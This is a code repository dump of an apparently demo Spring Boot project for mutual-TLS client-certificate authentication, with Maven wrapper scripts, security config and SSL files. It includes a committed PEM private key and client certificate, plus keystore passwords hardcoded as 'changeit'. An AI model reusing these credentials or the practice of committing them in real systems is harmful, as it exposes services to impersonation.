| if [ -x "/usr/libexec/java_home" ]; then 61 | export JAVA_HOME="`/usr/libexec/java_home`" 62 | else 63 | export JAVA_HOME="/Library/Java/Home" 64 | fi 65 | fi 66 | ;; 67 | esac 68 | 69 | if [ -z "$JAVA_HOME" ] ; then 70 | if [ -r /etc/gentoo-release ] ; then 71 | JAVA_HOME=`java-config --jre-home` 72 | fi 73 | fi 74 | 75 | if [ -z "$M2_HOME" ] ; then 76 | ## resolve links - $0 may be a link to maven's home 77 | PRG="$0" 78 | 79 | # need this for relative symlinks 80 | while [ -h "$PRG" ] ; do 81 | ls=`ls -ld "$PRG"` 82 | link=`expr "$ls" : '.*-> \(.*\)$'` 83 | if expr "$link" : '/.*' > /dev/null; then 84 | PRG="$link" 85 | else 86 | PRG="`dirname "$PRG"`/$link" 87 | fi 88 | done 89 | 90 | saveddir=`pwd` 91 | 92 | M2_HOME=`dirname "$PRG"`/.. 93 | 94 | # make it fully qualified 95 | M2_HOME=`cd "$M2_HOME" && pwd` 96 | 97 | cd "$saveddir" 98 | # echo Using m2 at $M2_HOME 99 | fi 100 | 101 | # For Cygwin, ensure paths are in UNIX format before anything is touched 102 | if $cygwin ; then 103 | [ -n "$M2_HOME" ] && 104 | M2_HOME=`cygpath --unix "$M2_HOME"` 105 | [ -n "$JAVA_HOME" ] && 106 | JAVA_HOME=`cygpath --unix "$JAVA_HOME"` 107 | [ -n "$CLASSPATH" ] && 108 | CLASSPATH=`cygpath --path --unix "$CLASSPATH"` 109 | fi 110 | 111 | # For Migwn, ensure paths are in UNIX format before anything is touched 112 | if $mingw ; then 113 | [ -n "$M2_HOME" ] && 114 | M2_HOME="`(cd "$M2_HOME"; pwd)`" 115 | [ -n "$JAVA_HOME" ] && 116 | JAVA_HOME="`(cd "$JAVA_HOME"; pwd)`" 117 | # TODO classpath? 118 | fi 119 | 120 | if [ -z "$JAVA_HOME" ]; then 121 | javaExecutable="`which javac`" 122 | if [ -n "$javaExecutable" ] && ! [ "`expr \"$javaExecutable\" : '\([^ ]*\)'`" = "no" ]; then 123 | # readlink(1) is not available as standard on Solaris 10. 124 | readLink=`which readlink` 125 | if [ ! `expr "$readLink" : '\([^ ]*\)'` = "no" ]; then 126 | if $darwin ; then 127 | javaHome="`dirname \"$javaExecutable\"`" 128 | javaExecutable="`cd \"$javaHome\" && pwd -P`/javac" 129 | else 130 | javaExecutable="`readlink -f \"$javaExecutable\"`" 131 | fi 132 | javaHome="`dirname \"$javaExecutable\"`" 133 | javaHome=`expr "$javaHome" : '\(.*\)/bin'` 134 | JAVA_HOME="$javaHome" 135 | export JAVA_HOME 136 | fi 137 | fi 138 | fi 139 | 140 | if [ -z "$JAVACMD" ] ; then 141 | if [ -n "$JAVA_HOME" ] ; then 142 | if [ -x "$JAVA_HOME/jre/sh/java" ] ; then 143 | # IBM's JDK on AIX uses strange locations for the executables 144 | JAVACMD="$JAVA_HOME/jre/sh/java" 145 | else 146 | JAVACMD="$JAVA_HOME/bin/java" 147 | fi 148 | else 149 | JAVACMD="`which java`" 150 | fi 151 | fi 152 | 153 | if [ ! -x "$JAVACMD" ] ; then 154 | echo "Error: JAVA_HOME is not defined correctly." >&2 155 | echo " We cannot execute $JAVACMD" >&2 156 | exit 1 157 | fi 158 | 159 | if [ -z "$JAVA_HOME" ] ; then 160 | echo "Warning: JAVA_HOME environment variable is not set." 161 | fi 162 | 163 | CLASSWORLDS_LAUNCHER=org.codehaus.plexus.classworlds.launcher.Launcher 164 | 165 | # traverses directory structure from process work directory to filesystem root 166 | # first directory with .mvn subdirectory is considered project base directory 167 | find_maven_basedir() { 168 | 169 | if [ -z "$1" ] 170 | then 171 | echo "Path not specified to find_maven_basedir" 172 | return 1 173 | fi 174 | 175 | basedir="$1" 176 | wdir="$1" 177 | while [ "$wdir" != '/' ] ; do 178 | if [ -d "$wdir"/.mvn ] ; then 179 | basedir=$wdir 180 | break 181 | fi 182 | # workaround for JBEAP-8937 (on Solaris 10/Sparc) 183 | if [ -d "${wdir}" ]; then 184 | wdir=`cd "$wdir/.."; pwd` 185 | fi 186 | # end of workaround 187 | done 188 | echo "${basedir}" 189 | } 190 | 191 | # concatenates all lines of a file 192 | concat_lines() { 193 | if [ -f "$1" ]; then 194 | echo "$(tr -s '\n' ' ' < "$1")" 195 | fi 196 | } 197 | 198 | BASE_DIR=`find_maven_basedir "$(pwd)"` 199 | if [ -z "$BASE_DIR" ]; then 200 | exit 1; 201 | fi 202 | 203 | export MAVEN_PROJECTBASEDIR=${MAVEN_BASEDIR:-"$BASE_DIR"} 204 | echo $MAVEN_PROJECTBASEDIR 205 | MAVEN_OPTS="$(concat_lines "$MAVEN_PROJECTBASEDIR/.mvn/jvm.config") $MAVEN_OPTS" 206 | 207 | # For Cygwin, switch paths to Windows format before running java 208 | if $cygwin; then 209 | [ -n "$M2_HOME" ] && 210 | M2_HOME=`cygpath --path --windows "$M2_HOME"` 211 | [ -n "$JAVA_HOME" ] && 212 | JAVA_HOME=`cygpath --path --windows "$JAVA_HOME"` 213 | [ -n "$CLASSPATH" ] && 214 | CLASSPATH=`cygpath --path --windows "$CLASSPATH"` 215 | [ -n "$MAVEN_PROJECTBASEDIR" ] && 216 | MAVEN_PROJECTBASEDIR=`cygpath --path --windows "$MAVEN_PROJECTBASEDIR"` 217 | fi 218 | 219 | WRAPPER_LAUNCHER=org.apache.maven.wrapper.MavenWrapperMain 220 | 221 | exec "$JAVACMD" \ 222 | $MAVEN_OPTS \ 223 | -classpath "$MAVEN_PROJECTBASEDIR/.mvn/wrapper/maven-wrapper.jar" \ 224 | "-Dmaven.home=${M2_HOME}" "-Dmaven.multiModuleProjectDirectory=${MAVEN_PROJECTBASEDIR}" \ 225 | ${WRAPPER_LAUNCHER} $MAVEN_CONFIG "$@" 226 | -------------------------------------------------------------------------------- /spring-rest-api-client-auth/mvnw.cmd: -------------------------------------------------------------------------------- 1 | @REM ---------------------------------------------------------------------------- 2 | @REM Licensed to the Apache Software Foundation (ASF) under one 3 | @REM or more contributor license agreements. See the NOTICE file 4 | @REM distributed with this work for additional information 5 | @REM regarding copyright ownership. The ASF licenses this file 6 | @REM to you under the Apache License, Version 2.0 (the 7 | @REM "License"); you may not use this file except in compliance 8 | @REM with the License. You may obtain a copy of the License at 9 | @REM 10 | @REM http://www.apache.org/licenses/LICENSE-2.0 11 | @REM 12 | @REM Unless required by applicable law or agreed to in writing, 13 | @REM software distributed under the License is distributed on an 14 | @REM "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY 15 | @REM KIND, either express or implied. See the License for the 16 | @REM specific language governing permissions and limitations 17 | @REM under the License. 18 | @REM ---------------------------------------------------------------------------- 19 | 20 | @REM ---------------------------------------------------------------------------- 21 | @REM Maven2 Start Up Batch script 22 | @REM 23 | @REM Required ENV vars: 24 | @REM JAVA_HOME - location of a JDK home dir 25 | @REM 26 | @REM Optional ENV vars 27 | @REM M2_HOME - location of maven2's installed home dir 28 | @REM MAVEN_BATCH_ECHO - set to 'on' to enable the echoing of the batch commands 29 | @REM MAVEN_BATCH_PAUSE - set to 'on' to wait for a key stroke before ending 30 | @REM MAVEN_OPTS - parameters passed to the Java VM when running Maven 31 | @REM e.g. to debug Maven itself, use 32 | @REM set MAVEN_OPTS=-Xdebug -Xrunjdwp:transport=dt_socket,server=y,suspend=y,address=8000 33 | @REM MAVEN_SKIP_RC - flag to disable loading of mavenrc files 34 | @REM ---------------------------------------------------------------------------- 35 | 36 | @REM Begin all REM lines with '@' in case MAVEN_BATCH_ECHO is 'on' 37 | @echo off 38 | @REM enable echoing my setting MAVEN_BATCH_ECHO to 'on' 39 | @if "%MAVEN_BATCH_ECHO%" == "on" echo %MAVEN_BATCH_ECHO% 40 | 41 | @REM set %HOME% to equivalent of $HOME 42 | if "%HOME%" == "" (set "HOME=%HOMEDRIVE%%HOMEPATH%") 43 | 44 | @REM Execute a user defined script before this one 45 | if not "%MAVEN_SKIP_RC%" == "" goto skipRcPre 46 | @REM check for pre script, once with legacy .bat ending and once with .cmd ending 47 | if exist "%HOME%\mavenrc_pre.bat" call "%HOME%\mavenrc_pre.bat" 48 | if exist "%HOME%\mavenrc_pre.cmd" call "%HOME%\mavenrc_pre.cmd" 49 | :skipRcPre 50 | 51 | @setlocal 52 | 53 | set ERROR_CODE=0 54 | 55 | @REM To isolate internal variables from possible post scripts, we use another setlocal 56 | @setlocal 57 | 58 | @REM ==== START VALIDATION ==== 59 | if not "%JAVA_HOME%" == "" goto OkJHome 60 | 61 | echo. 62 | echo Error: JAVA_HOME not found in your environment. >&2 63 | echo Please set the JAVA_HOME variable in your environment to match the >&2 64 | echo location of your Java installation. >&2 65 | echo. 66 | goto error 67 | 68 | :OkJHome 69 | if exist "%JAVA_HOME%\bin\java.exe" goto init 70 | 71 | echo. 72 | echo Error: JAVA_HOME is set to an invalid directory. >&2 73 | echo JAVA_HOME = "%JAVA_HOME%" >&2 74 | echo Please set the JAVA_HOME variable in your environment to match the >&2 75 | echo location of your Java installation. >&2 76 | echo. 77 | goto error 78 | 79 | @REM ==== END VALIDATION ==== 80 | 81 | :init 82 | 83 | @REM Find the project base dir, i.e. the directory that contains the folder ".mvn". 84 | @REM Fallback to current working directory if not found. 85 | 86 | set MAVEN_PROJECTBASEDIR=%MAVEN_BASEDIR% 87 | IF NOT "%MAVEN_PROJECTBASEDIR%"=="" goto endDetectBaseDir 88 | 89 | set EXEC_DIR=%CD% 90 | set WDIR=%EXEC_DIR% 91 | :findBaseDir 92 | IF EXIST "%WDIR%"\.mvn goto baseDirFound 93 | cd .. 94 | IF "%WDIR%"=="%CD%" goto baseDirNotFound 95 | set WDIR=%CD% 96 | goto findBaseDir 97 | 98 | :baseDirFound 99 | set MAVEN_PROJECTBASEDIR=%WDIR% 100 | cd "%EXEC_DIR%" 101 | goto endDetectBaseDir 102 | 103 | :baseDirNotFound 104 | set MAVEN_PROJECTBASEDIR=%EXEC_DIR% 105 | cd "%EXEC_DIR%" 106 | 107 | :endDetectBaseDir 108 | 109 | IF NOT EXIST "%MAVEN_PROJECTBASEDIR%\.mvn\jvm.config" goto endReadAdditionalConfig 110 | 111 | @setlocal EnableExtensions EnableDelayedExpansion 112 | for /F "usebackq delims=" %%a in ("%MAVEN_PROJECTBASEDIR%\.mvn\jvm.config") do set JVM_CONFIG_MAVEN_PROPS=!JVM_CONFIG_MAVEN_PROPS! %%a 113 | @endlocal & set JVM_CONFIG_MAVEN_PROPS=%JVM_CONFIG_MAVEN_PROPS% 114 | 115 | :endReadAdditionalConfig 116 | 117 | SET MAVEN_JAVA_EXE="%JAVA_HOME%\bin\java.exe" 118 | 119 | set WRAPPER_JAR="%MAVEN_PROJECTBASEDIR%\.mvn\wrapper\maven-wrapper.jar" 120 | set WRAPPER_LAUNCHER=org.apache.maven.wrapper.MavenWrapperMain 121 | 122 | %MAVEN_JAVA_EXE% %JVM_CONFIG_MAVEN_PROPS% %MAVEN_OPTS% %MAVEN_DEBUG_OPTS% -classpath %WRAPPER_JAR% "-Dmaven.multiModuleProjectDirectory=%MAVEN_PROJECTBASEDIR%" %WRAPPER_LAUNCHER% %MAVEN_CONFIG% %* 123 | if ERRORLEVEL 1 goto error 124 | goto end 125 | 126 | :error 127 | set ERROR_CODE=1 128 | 129 | :end 130 | @endlocal & set ERROR_CODE=%ERROR_CODE% 131 | 132 | if not "%MAVEN_SKIP_RC%" == "" goto skipRcPost 133 | @REM check for post script, once with legacy .bat ending and once with .cmd ending 134 | if exist "%HOME%\mavenrc_post.bat" call "%HOME%\mavenrc_post.bat" 135 | if exist "%HOME%\mavenrc_post.cmd" call "%HOME%\mavenrc_post.cmd" 136 | :skipRcPost 137 | 138 | @REM pause the script if MAVEN_BATCH_PAUSE is set to 'on' 139 | if "%MAVEN_BATCH_PAUSE%" == "on" pause 140 | 141 | if "%MAVEN_TERMINATE_CMD%" == "on" exit %ERROR_CODE% 142 | 143 | exit /B %ERROR_CODE% 144 | -------------------------------------------------------------------------------- /spring-rest-api-client-auth/pom.xml: -------------------------------------------------------------------------------- 1 | 2 | 4 | 4.0.0 5 | 6 | com.pavelsklenar 7 | spring-rest-api-client-auth 8 | 0.0.1-SNAPSHOT 9 | jar 10 | 11 | spring-rest-api-client-auth 12 | Demo project for Spring Boot 13 | 14 | 15 | org.springframework.boot 16 | spring-boot-starter-parent 17 | 2.0.5.RELEASE 18 | 19 | 20 | 21 | 22 | UTF-8 23 | UTF-8 24 | 1.8 25 | 26 | 27 | 28 | 29 | org.springframework.boot 30 | spring-boot-starter-security 31 | 32 | 33 | org.springframework.boot 34 | spring-boot-starter-web 35 | 36 | 37 | 38 | org.springframework.boot 39 | spring-boot-starter-test 40 | test 41 | 42 | 43 | org.springframework.security 44 | spring-security-test 45 | test 46 | 47 | 48 | 49 | 50 | 51 | 52 | org.springframework.boot 53 | spring-boot-maven-plugin 54 | 55 | 56 | 57 | 58 | 59 | 60 | -------------------------------------------------------------------------------- /spring-rest-api-client-auth/src/main/java/com/pavelsklenar/rest/RestApiClientAuthApplication.java: -------------------------------------------------------------------------------- 1 | package com.pavelsklenar.rest; 2 | 3 | import org.springframework.boot.SpringApplication; 4 | import org.springframework.boot.autoconfigure.SpringBootApplication; 5 | 6 | @SpringBootApplication 7 | public class RestApiClientAuthApplication { 8 | 9 | public static void main(String[] args) { 10 | SpringApplication.run(RestApiClientAuthApplication.class, args); 11 | } 12 | } 13 | -------------------------------------------------------------------------------- /spring-rest-api-client-auth/src/main/java/com/pavelsklenar/rest/config/SecurityConfig.java: -------------------------------------------------------------------------------- 1 | package com.pavelsklenar.rest.config; 2 | 3 | import org.springframework.context.annotation.Bean; 4 | import org.springframework.context.annotation.Configuration; 5 | import org.springframework.security.config.annotation.method.configuration.EnableGlobalMethodSecurity; 6 | import org.springframework.security.config.annotation.web.builders.HttpSecurity; 7 | import org.springframework.security.config.annotation.web.configuration.EnableWebSecurity; 8 | import org.springframework.security.config.annotation.web.configuration.WebSecurityConfigurerAdapter; 9 | import org.springframework.security.core.authority.AuthorityUtils; 10 | import org.springframework.security.core.userdetails.User; 11 | import org.springframework.security.core.userdetails.UserDetails; 12 | import org.springframework.security.core.userdetails.UserDetailsService; 13 | import org.springframework.security.core.userdetails.UsernameNotFoundException; 14 | 15 | @Configuration 16 | @EnableWebSecurity 17 | @EnableGlobalMethodSecurity(securedEnabled = true) 18 | public class SecurityConfig extends WebSecurityConfigurerAdapter { 19 | 20 | @Override 21 | protected void configure(HttpSecurity http) throws Exception { 22 | http.authorizeRequests() 23 | .anyRequest().authenticated().and() 24 | .x509() 25 | .subjectPrincipalRegex("CN=(.*?)(?:,|$)") 26 | .userDetailsService(userDetailsService()); 27 | } 28 | 29 | @Bean 30 | public UserDetailsService userDetailsService() { 31 | return (UserDetailsService) username -> { 32 | if (username.equals("pavel")) { 33 | return new User(username, "", 34 | AuthorityUtils 35 | .commaSeparatedStringToAuthorityList("ROLE_USER")); 36 | } else { 37 | throw new UsernameNotFoundException(String.format("User %s not found", username)); 38 | } 39 | }; 40 | } 41 | } 42 | -------------------------------------------------------------------------------- /spring-rest-api-client-auth/src/main/java/com/pavelsklenar/rest/controller/CustomerController.java: -------------------------------------------------------------------------------- 1 | package com.pavelsklenar.rest.controller; 2 | 3 | import org.springframework.security.access.annotation.Secured; 4 | import org.springframework.web.bind.annotation.GetMapping; 5 | import org.springframework.web.bind.annotation.PathVariable; 6 | import org.springframework.web.bind.annotation.RequestMapping; 7 | import org.springframework.web.bind.annotation.RestController; 8 | 9 | import com.pavelsklenar.rest.pojo.Customer; 10 | 11 | @RestController 12 | @RequestMapping("/customer") 13 | public class CustomerController { 14 | 15 | @GetMapping("/{id}") 16 | @Secured("ROLE_USER") 17 | public Customer GetCustomer(@PathVariable Long id) { 18 | return new Customer(id, "Customer" + id); 19 | } 20 | } 21 | -------------------------------------------------------------------------------- /spring-rest-api-client-auth/src/main/java/com/pavelsklenar/rest/pojo/Customer.java: -------------------------------------------------------------------------------- 1 | package com.pavelsklenar.rest.pojo; 2 | 3 | public class Customer { 4 | 5 | private Long id; 6 | private String name; 7 | 8 | public Customer(Long id, String name) { 9 | this.id = id; 10 | this.name = name; 11 | } 12 | 13 | public Long getId() { 14 | return id; 15 | } 16 | 17 | public void setId(Long id) { 18 | this.id = id; 19 | } 20 | 21 | public String getName() { 22 | return name; 23 | } 24 | 25 | public void setName(String name) { 26 | this.name = name; 27 | } 28 | } 29 | -------------------------------------------------------------------------------- /spring-rest-api-client-auth/src/main/resources/application.properties: -------------------------------------------------------------------------------- 1 | # Define a custom port (instead of the default 8080, both of port must be configured programmatically https://docs.spring.io/spring-boot/docs/current/reference/htmlsingle/#howto-configure-ssl) 2 | server.port=8443 3 | # The format used for the keystore 4 | server.ssl.key-store-type=PKCS12 5 | # The path to the keystore containing the certificate 6 | server.ssl.key-store=classpath:keyStore.p12 7 | # The password used to generate the certificate 8 | server.ssl.key-store-password=changeit 9 | # Trust store that holds SSL certificates. 10 | server.ssl.trust-store=classpath:trustStore.jks 11 | # Password used to access the trust store. 12 | server.ssl.trust-store-password=changeit 13 | # Type of the trust store. 14 | server.ssl.trust-store-type=JKS 15 | # Whether client authentication is wanted ("want") or needed ("need"). 16 | server.ssl.client-auth=need -------------------------------------------------------------------------------- /spring-rest-api-client-auth/src/main/resources/keyStore.p12: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/pajikos/java-examples/4bde9ed4a66a15466d6a63c43f957e8118885e47/spring-rest-api-client-auth/src/main/resources/keyStore.p12 -------------------------------------------------------------------------------- /spring-rest-api-client-auth/src/main/resources/trustStore.jks: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/pajikos/java-examples/4bde9ed4a66a15466d6a63c43f957e8118885e47/spring-rest-api-client-auth/src/main/resources/trustStore.jks -------------------------------------------------------------------------------- /spring-rest-api-client-auth/src/test/java/com/pavelsklenar/rest/RestApiClientAuthApplicationTests.java: -------------------------------------------------------------------------------- 1 | package com.pavelsklenar.rest; 2 | 3 | import org.junit.Test; 4 | import org.junit.runner.RunWith; 5 | import org.springframework.boot.test.context.SpringBootTest; 6 | import org.springframework.test.context.junit4.SpringRunner; 7 | 8 | @RunWith(SpringRunner.class) 9 | @SpringBootTest 10 | public class RestApiClientAuthApplicationTests { 11 | 12 | @Test 13 | public void contextLoads() { 14 | } 15 | 16 | } 17 | -------------------------------------------------------------------------------- /spring-rest-api-client-auth/ssl/client/client_pavel.p12: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/pajikos/java-examples/4bde9ed4a66a15466d6a63c43f957e8118885e47/spring-rest-api-client-auth/ssl/client/client_pavel.p12 -------------------------------------------------------------------------------- /spring-rest-api-client-auth/ssl/client/myPrivateKey.pem: -------------------------------------------------------------------------------- 1 | -----BEGIN PRIVATE KEY----- 2 | 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 51 | hnETxWxO0UQa7x2caBFBjFKazXEyohA= 52 | -----END PRIVATE KEY----- 53 | -------------------------------------------------------------------------------- /spring-rest-api-client-auth/ssl/client/pavel.crt: -------------------------------------------------------------------------------- 1 | -----BEGIN CERTIFICATE----- 2 | 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 31 | q3OMvxR/LUXNFluSSg== 32 | -----END CERTIFICATE----- 33 | -------------------------------------------------------------------------------- /spring-rest-api-client-auth/ssl/client/request.csr: -------------------------------------------------------------------------------- 1 | -----BEGIN CERTIFICATE REQUEST----- 2 | MIIE0jCCAroCAQAwgYwxCzAJBgNVBAYTAkNaMRcwFQYDVQQIDA5DemVjaCBSZXB1 3 | YmxpYzELMAkGA1UEBwwCQ0IxITAfBgNVBAoMGEludGVybmV0IFdpZGdpdHMgUHR5 4 | 